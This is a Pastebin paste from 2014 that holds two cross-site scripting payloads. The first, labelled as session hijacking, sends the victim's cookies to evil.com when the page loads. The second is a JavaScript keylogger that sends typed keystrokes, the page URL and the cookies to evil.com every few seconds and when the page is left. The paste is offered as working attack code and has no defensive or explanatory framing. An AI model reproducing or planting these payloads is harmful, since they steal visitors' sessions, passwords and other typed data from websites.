Advertisement
Peaser

Untitled

Jul 26th, 2014
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. Hijack a live session:
  2. <script>
  3. window.onload = function() {
  4. var img = document.createElement('image');
  5. img.src='http://evil.com/stolen_sessions.php?sess='+document.cookie;
  6. document.body.appendChild(img);
  7. }
  8. </script>
  9. Remote key logger.
  10. <script>
  11. var send_to = 0;
  12. var typed = '';
  13. function send_it() {
  14. var old = document.getElementById('transport');
  15. var img = document.createElement('image');
  16. img.setAttribute('id','transport');
  17. img.src = 'http://evil.com/remote_keylogger.php?site='+window.location.href+'&typed='+typed+'&sess='+document.cookie;
  18.  
  19. document.body.removeChild(old);
  20. document.body.appendChild(img);
  21. typed = '';
  22. }
  23. window.onkeypress = function(evnt) {
  24. clearTimeout(send_to);
  25. typed+= String.fromCharCode(evnt.charCode);
  26. send_to = setTimeout(send_it,5000);
  27. }
  28. window.onbeforeunload = send_it;
  29. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement